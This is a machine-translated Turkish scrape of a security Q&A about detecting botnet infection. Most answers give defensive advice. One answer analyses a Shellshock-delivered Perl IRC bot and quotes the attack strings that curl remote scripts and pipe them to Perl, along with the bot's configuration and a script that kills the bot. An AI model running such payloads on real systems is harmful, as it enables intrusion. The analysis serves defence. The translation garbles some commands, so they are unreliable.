it-swarm-tr.com

Bilgisayarımın botnet tabanlı DDoS saldırısı için kullanılıp kullanılmadığını nasıl anlayabilirim?

A botnet , her biri İnternet'e bağlı 'bot' olarak bilinen, güvenliği ihlal edilmiş bilgisayarların bir koleksiyonudur. Bilgisayarın bir saldırgan tarafından güvenliği ihlal edildiğinde, kötü amaçlı yazılımın içinde genellikle bir botnet'in parçası olmasını isteyen komutlar bulunur. "Botmaster" veya "bot herder", güvenliği ihlal edilmiş bu bilgisayarları IRC ve http gibi standart tabanlı ağ protokolleri aracılığıyla) kontrol eder.

Bilgisayarınızın botnet tabanlı bir DDoS saldırısında kullanıldığını tespit etmenin bir yolu var mı?

Bilgisayarımdan garip trafiği algılayabilecek ve etkinliklerden yararlanabilecek bir yazılım var mı?

22
Diogo

Makinenizin bir botnet'in parçası olup olmadığını tespit etmenin kolay bir yolu yoktur. Bunun yerine, en iyi savunma korunmadır: en başta enfekte olmaktan kaçının.

Güvenlik ihlallerinden nasıl kaçınacağına dair çok ve çok şey var, burada tekrar etmek için çok fazla. Bir başlangıç ​​için, örneğin, teknik olmayan kullanıcılar için bir güvenlik kılavuz , Windows sertleştirme , Linux Server'ı Sertleştirme veya - Güvenli Linux Masaüstü . Mutlu okumalar!

16
D.W.

Çekirdekleri ve yürütülebilir dosyaları çalıştırmadan önce analiz etmek genellikle güvenli bir uygulamadır, ancak en iyisi SELinux gibi güçlü bir işletim sistemi erişim kontrol modeli ile birleştirilir.

Kendini değiştiren veya kendi kendini denetleyen kodda arka kapıları bulmak zor olsa da, genellikle kendini değiştiren veya kendini denetleyen kodun varlığı kötü amaçlı yazılımın bir göstergesidir. Örneğin, MANDIANT Kırmızı Perde aracı bir kötü amaçlı yazılım analistine kod bölümlerinde yüksek entropi veya bu bölümlerde garip adlar/kalıplar tespit etmede yardımcı olabilir.

Ek olarak, izleme, öykünme ve diğerleri gibi pek çok başka uygulama da mevcuttur (hepsi belgelenmemiştir). Kötü amaçlı yazılım analistleri genellikle statikten dinamik analize ve çok hızlı bir şekilde (perspektif kazanmak için) geri döndüğünden, bu yöntemlerin tümünü bir araç veya teknikle birleştirmek yaygın değildir. Bununla birlikte, minimal bir araç seti kullanarak aşamalı bir yaklaşım çok kısa sürede çok şey başarabilir. Örneğin, PE işlem belleği damperleri ve PIN gibi izleme için enstrümantasyon ile birlikte bir sanal alanda çalıştırmadan önce PE yürütülebilir dosyada pescanner.py kullanıyorum. .

Yeni literatürünün bir kısmı bu araştırma alanında giderek daha iyi olmuştur.

10
atdre

İlk olarak, kötü amaçlı etkinliklerin varlığını gizlemek için tüm yardımcı programların çıktısı sahte olabileceğinden, güvenliği ihlal edilmiş bir bilgisayara güvenemezsiniz.

Genel olarak sağlam güvenlik uygulamalarına sahip hiçbir bilgisayarın bir bot ağının parçası olmasını beklemezdim. Yalnızca güvenilir kaynaklardan kod yüklediğiniz, güçlü parolalara (başka bir yerde kullanılmayan) vb. Sahip olduğunuz bir yöntemdir. ISS'm IP adresimden potansiyel bir botu belirten olağandışı etkinlik raporları aldığını veya bir kullanıcı bana söylemedikçe reklamı yapılmayan yazılımları yüklemek için kandırıldılar ve şimdi bir trojan olduğunu fark ettiler.

Bu durumlarda, potansiyel bir bot belirtileri için test yapmaya başlarım:

  • ağ etkinliğini izlemek. Çalıştır netstat - tüm bağlantılar aşağı yukarı anlamlı mı? (yerel bağlantıları yoksay; tanımadığım yabancı IP'lerde whois çalıştır). netstat çıktısının sahte olabileceğini unutmayın, böylece yerel ağımdaki başka bir bilgisayardan (güvenli olduğu varsayılır) wireshark (ağ analizörü) çalıştırırsınız ve garip yerel olmayan IP'ye/dışında olağandışı trafik olup olmadığını kontrol edin adresler (yönlendiricim/ağ yazıcımdan gelen rutin şeyler değil mi)?

  • Aynı dağıtımın canlı cd bölümüne önyükleme yapın (böylece yardımcı programlara güvenirsiniz) ve önemli yardımcı programlarda sağlama toplamlarını (md5) çalıştırın (/bin, /sbin/, /usr/bin/, vb.) ve aynı işletim sistemi/sürüme sahip güvenli bir bilgisayarın bilinen sağlama toplamlarıyla karşılaştırın (veya yeni bir yükleme yapın ve tüm güncellemeleri çalıştırın ve daha sonra karşılaştırma yapmak için sağlama toplamları oluşturun). (Sağlama toplamları eşleşmezse, muhtemelen yardımcı programın güncellenmesinden kaynaklanıyor olabilir; bu nedenle sürümleri kontrol edin ve daha fazla araştırın). Bu cevap için linux/unix sistemini varsaydım, ancak ne kontrol edeceğinizi biliyorsanız, muhtemelen windows için de aynısını yapabilirsiniz.

Bir bot kanıtı bulursam, verilerimi yedeklerim (çalıştırılamaz), sabit diski temizler ve işletim sistemini farklı şifrelerle güvenli bir kaynaktan yeniden kurarım. Güvenliği aşılan bilgisayardan makrolar (ör. Doc, pdfs) içerebilecek belgeleri açarken çok dikkatli olurum (bu dosyalara tekrar bakmadan önce ilgili programlarda makroları devre dışı bıraktığınızdan emin olun, yönetici/kök olarak oturum açmayın, ve bir virüs tarayıcısının kurulması).

10
dr jimbob

Gerçekten iyi bir bot kendini çekirdekten gizleyecektir.

Bunu tespit etmenin tek yolu, iyi bilinen bir harici makine kullanarak makine ve internet arasındaki trafiği koklamaktır. O zaman bile, botun aradığınız zamanda sadece uykuda olup olmadığını bilmenin bir yolu olmazdı.

Başka bir seçenek, makineyi bilinen iyi (tercihen salt okunur) ortamdan (örn. CD veya DVD) başlatmak ve bir enfeksiyon izini aramak için makinenin adli analizini yapmaktır.

9
Tinned_Tuna

Darknet, ağınızdaki virüslü makineleri keşfetmenize yardımcı olmanın iyi bir yoludur. Aslında LAN'ınızda, hangi makinelerin normal ağ kurulumunuza uymadığını tespit eden günlük makineleri ile normalde trafiğe yönlendirilmemesi gereken bir alt ağdır; bulaşmak üzere ağ üzerindeki düğümleri taramak.

Hangi davranışın normal ve neyin normal olmadığını bilmeniz gerektiğinden, başkalarına bulaşmaya çalışan enfekte makineler ağrılı bir başparmak gibi yapışacaktır.

9
deed02392

Özel cevap: DDoS Güvenlik Ekibi tarafından [DDoS Perl IrcBot v1.0/2012

Feragat

  • Bu, bunun kötü amaçlı yazılım (daha sonra çağrılır araç) ... Bu genel bir yöntem değil!

  • Kötü amaçlı yazılımlar ve virüslerle oynamak zararlı olabilir! İnternete bağlı olmayan kullanıcı, özel bir donanım kullanın!

Uyarılmıştın!

Giriş

Bu cevabı pratik vaka olarak gönderiyorum, çünkü zaten bu konuda çalıştım araç ilk kez 2012 ve son zamanlarda Shellshock hata nedeniyle ve istismarlar ...

Şununla aynı dizeyi içeren şüpheli bir posta oldum: To, References, Cc, From, Subject, Date, Message-ID, Comments, Keywords, Resent-Date and Resent-From:

() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.x.x/ex.txt|Perl;lwp-downloa..

Önce bu komik buluyorum, posta kullanıcı ve sunucumu kontrol, garip bir şey yok, tamam ...

Tamamen emin olmak için, kötü amaçlı yazılımı indirmeye çalıştım, ne yazık ki sunucudan düştüler.

... Birkaç gün sonra, bunu bir web sever günlüklerinde gördüm:

... [27/Oct/2014:05:40:56 +0100] "GET /admin.cgi HTTP/1.0"  403 2132 \
        "() { :; }; curl http://202.143.x.x/lib21/index.cgi | Perl" \

referer ve user-agent Alanları aynı dizeyi içeriyorsa. Ama başka bir url ile.

Deobsuscation

Bu sefer tool dosyasını indirebildim:

wget http://202.143.x.x/lib21/index.cgi
less index.cgi

#!/usr/bin/Perl
use MIME::Base64;
eval (decode_base64('DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI...
...IyMjIyMj'));

İlk adım, okunabilir hale getirilmesi. Bunu yapmak için, eval yerine print koymamız gerekir:

Perl <(sed s/eval/print/ index.cgi) >ircBot.pl

sed -ne '3,11{s/^\(.\{65\}\).*$/\1/;p}' ircBot.pl
#################################################################
##  DDoS Perl IrcBot v1.0 / 2012 by DDoS Security Team       ## [
##      Stealth MultiFunctional IrcBot writen in Perl          ##
##        Teste on every system with Perl instlled             ##
##                                                             ##
##     This is a free program used on your own risk.           ##
##        Created for educational purpose only.                ##
## I'm not responsible for the illegal use of this program.    ##
#################################################################

Bu eğitim amaçlı !?

Böylece çalışabiliriz ...

Test yapmak

Orada deobfuscated sürümü bulabilirsiniz. (Gönderi değilim, okuduktan sonra onları tamamen aynı yapılandırmayla buldum bu gönderi )

Not: Bu tür araçları çalıştırmak için , bağlı olmayan özel bir hawdware kullanıyorum ve özel bir sanal makine bunları izleyebilir, izleyebilir veya üst seviyeden durdurabilir.

    31      ##### [ Configuration ] #####
    32      #############################
    33      
    34      my @rps = ("/usr/local/Apache/bin/httpd -DSSL",
    35                         "/usr/sbin/httpd -k start -DSSL",
    36                 "/usr/sbin/httpd",
    37                         "/usr/sbin/sshd -i",
...
    43                         "/usr/sbin/acpid",
    44                         "/usr/sbin/cron");
    45      my $process = $rps[Rand scalar @rps];
    46      
    47      my $vers = "\001VERSION - unknown command.\001";
    48      my $ircname = "shock";
    49      my $realname = `uname -vr`;
    50      my $nick = "Perl";
    51      
    52      $server = 'fflyy.su' unless $server;
    53      my $port = '8080';
    54      
    55      my $linas_max='10';
    56      my $sleep='5';
    57      
    58      my $homedir = "/tmp";
    59      my $version = 'DDoS Perl Bot v1.0';
    60      
    61      my @admins = ("M","st0n3d","x00","Jorgee");
    62      my @hostauth = ("lolhome");
    63      my @channels = ("#mperl2");
    64      $unamea = `uname -a`;
    65      $uid = `id`;
    66      
    67      my $pacotes = 1;
    68      
    69      #################################################################
    70      ##### [ Stop Editing if you dont know what are you doing. ] #####

31-70 arası hatlarda, yapılandırmayı bulacaksınız:

$process İfadesinin 45. satırda bir dizgi dizisinden rastgele tanımlandığını zaten gözlemleyebiliriz.

$server, $port, $admins, @hostauth and @channels Değiştirdikten sonra aracı çalıştırıyorum.

Labs

  • Söylenecek ilk şey: bu araç çok fazla CPU ısıtıyor. Büyük sistemde bu zararsız olabilir, ancak kötü yapılandırmamda bu önemliydi.

  • Bot irc'ime bağlı. Komut dosyasının başlığında sunulduğu gibi onu isteyebilirim ve /msg Gönderirsem, Kabuk konsol gibi kullanabileceğim özel bir sohbet odası açarlar.

  • Sunucu tarafında, bir kez çalıştırıldığında, yok olurlar. ps ax Çalıştırırsam, daha önce orada olmayan bir süreç httpd görüyorum ama ...

Artık yeterli. Açıkça nerede olduğunu göstermek için çalıştırdığım bazı komutlar var (elbette, tüm bu komut root ​​veya Sudo aracılığıyla çalıştırılacak):

  • Perl yürütülebilir dosyasını çalıştırmak için arama:

    ls -l /proc/*/exe | grep Perl
    lrwxrwxrwx 1 www-data www-data 0 oct 30 09:39 /proc/23664/exe -> /usr/bin/Perl
    

    Bu, Perl'i yürütülebilir olarak kullanan tüm işlemleri gösterecektir. Bu cmdline temelli değildir.

  • TCP bağlantı aranıyor:

    netstat -tanp | grep :8080
    tcp     0   0 192.168.4.3:33083   192.168.4.1:8080   ESTABLISHED 23664/httpd -DSSL
    

    Bu özel yapılandırmada (kötü amaçlı yazılım üretimi), 8080 Bağlantı noktası uzak bağlantı noktası olarak kullanılır. 8080 Bağlantı noktasını kullanarak normal bir sunucunuz olsa bile, bu bağlantı noktası yerel bağlantı noktası olarak kullanılır.

  • Web sunucusu işlemi tarafından tutulmayan kullanıcının web sunucusu pidini mi arıyorsunuz?

    ps --user www-data ho ppid,pid,cmd | sed -ne 's/^ *1 //p'
    23664 /usr/local/Apache/bin/httpd -DSSL
    
  • CPU yiyen süreç aranıyor:

    top
    top - 09:48:00 up 58 days, 21:51,  1 user,  load average: 0.02, 0.03, 0.00
    Tasks:  15 total,   3 running,  12 sleeping,   0 stopped,   0 zombie
    %Cpu(s):  0.7 us,  0.3 sy,  0.0 ni, 98.9 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
    KiB Mem:    262144 total,    88164 used,   173980 free,        0 buffers
    KiB Swap:        0 total,        0 used,        0 free,        0 cached
    
      PID USER      PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND
    23664 www-data  20   0  7408 2956 1204 R  91.7  1.1   8:30.73 /usr/local/apac
        1 root      20   0  2152  724  620 S   0.0  0.3   0:36.47 init
     1028 root      20   0  2248  776  568 S   0.0  0.3   0:03.76 rpcbind
     1039 statd     20   0  2324 1072  820 S   0.0  0.4   0:00.00 rpc.statd
    

Onları öldürüyor.

Şimdi bunu durdurma zamanı:

kill -9 23664

Daha fazla kullanım için, bu araç değiştirilmeden kalırken, bunu hızlı bir şekilde yazdım perlircbotKiller.pl (en azından aynı ile çalıştırılabilir) hak botu kendisi ... ya da kök, sanırım!)

#!/usr/bin/Perl

my @rps=("/usr/local/Apache/bin/httpd -DSSL", "/usr/sbin/httpd -k start -DSSL",
   "/usr/sbin/httpd", "/usr/sbin/sshd -i","/usr/sbin/sshd","/usr/sbin/sshd -D",
   "/usr/sbin/Apache2 -k start", "/sbin/syslogd", "/sbin/klogd -c 1 -x -x",
   "/usr/sbin/acpid", "/usr/sbin/cron");

opendir my $dh,"/proc";
map {
    open my $fh,"/proc/".$_."/cmdline";
    my $cmdline=<$fh>;
    close $fh;
    $cmdline=~s/\0*$//g;
    if (grep { $cmdline eq $_ } @rps) {
    printf "Sending SIGKILL to process %d\n", $_;
        kill 9, $_;
    }; }
grep { readlink("/proc/".$_."/exe") =~ m|/Perl| }
grep { /^\d+$/ }
readdir $dh;

... Ve fanım yine yavaşlıyor ...

Özel araç

Biraz yeniden yazdıktan sonra, biraz yazdım Perl betiği

  • gizlenmiş komut dosyasını arayın Perl, python veya phpApache, acpi kullanarak adını gizleyen, httpd, sshd, vb ...

  • üst pid'in 1 olduğu işlemi arayın.

  • açık bağlantıyı listele

  • öldürmek için basit bir yol sunun şüpheli süreç.

    Suspicious process      '5089',
        has parent pid: '1',
        run             '/usr/bin/Perl',
        claim to be     '/sbin/syslogd'
        and has port    tcp '8080'
        open to         '93.174.93.80'
    Send SIGKILL to 5089 (Y/n)? Y
    

Bu, şu anda engeedered kötü amaçlı yazılımın birçok türeviyle işe yarıyor, ancak umarım bu, aynı yöntemleri kullanan diğer kötü amaçlı yazılımlarla çalışabilir.

Sonuç.

  • Bu tool (Perl irc botu) tamamen görünmez değildir, ancak çalıştırıldığında virüs bulaşmış kullanıcının yapabileceği her şeyi sunarlar. (Kullanıcı haklarıyla).

  • Shellshock saldırısının bu sürümü kötü amaçlı yazılımı virüslü sisteme kaydetmez, bu yüzden basit bir yeniden başlat ​​onları bırakmak için yeterli olabilir.

  • Diğer araçlarla ilgilenin, saldırgan bu kez kullanabilir tool başlatıldığında! Özellikle: cron ve at, ancak herhangi bir komut dosyası veya ikili kullanıcı çalışabilir ve değiştirilmiş olabilir!

  • Diğer yerel güvenlik sorunları izin verebilir hangi bakım yerel ayrıcalık yükselmesi de !!

1
F. Hauri

1) Piliniz kapatıldığı sırada boşalır.

2) Daha sonra pil veya güç kablosu çıkarılmadığı sürece PC'nizin veya dizüstü bilgisayarınızın asla kapanmadığını keşfedersiniz.

3) Kablosuz bağdaştırıcınız devre dışı, ancak yine de uzak bir kablosuz bağlantı olması gerektiğini fark ediyorsunuz. (çeşitli nedenlerle burada listelemeyeceğim)

4) Bilinmeyen bir kullanıcı C: drive ve daha fazlasına sahip.

5) Cyberlink, Bluetooth, Microsoft Shell ... vb. Gibi system32 ve Programs dosyalarındaki (x86) dosyalara erişim izninizi kaybettiniz.

6) Geri yükleme noktalarınız kayboldu.

7) McAfee veya Avast'ta Dosya Parçalayıcı aniden parçalanamaz veya yalnızca görünmez.

8) Yapmadığınız güvenlik duvarı değişiklikleri.

9) Windows bölümünün dışındaki bir sistem geri yüklemesi sırasında ekranda FBI Hata Ayıklama Mod yazan bir kutunun yanıp söndüğünü fark edersiniz.

10) 9) ise, "sistem harap olmuştur".

1
MaxImpact

U bir ağ analizörü kullanabilir. giden trafiği kontrol edin. Çoğu saldırı http/tcp/udp protokolü altında büyük bir paket boyutu/hızlı aralık ile bakıyor.

PC'niz genellikle bilinmeyen bir sunucuya/ip'e bağlanıyorsa ve düzenli olarak yayınlayın/bağlanın. B Master'dan bir C & C Sunucusu tarafından kontrol edildiğinizden emin olabilirsiniz.

1
Hidden

Bot enfeksiyonunu kontrol etmek için TrendMicro'dan bir araç var.

http://free.antivirus.com/us/rubotted/

1
tekybala

Bilgisayarınızın veya ağınızın bir bot olup olmadığını kontrol etmek için kaspersky servisini deneyin https://blog.kaspersky.com/simda-botnet-check/8304/ veya RUBotted ( http: //free.antivirus.com/us/rubotted/ ) Trend Micro tarafından. bir bilgisayarı botlarla ilişkili potansiyel enfeksiyon ve şüpheli etkinlikler açısından izlediğini iddia eder.

1
Badr Bellaj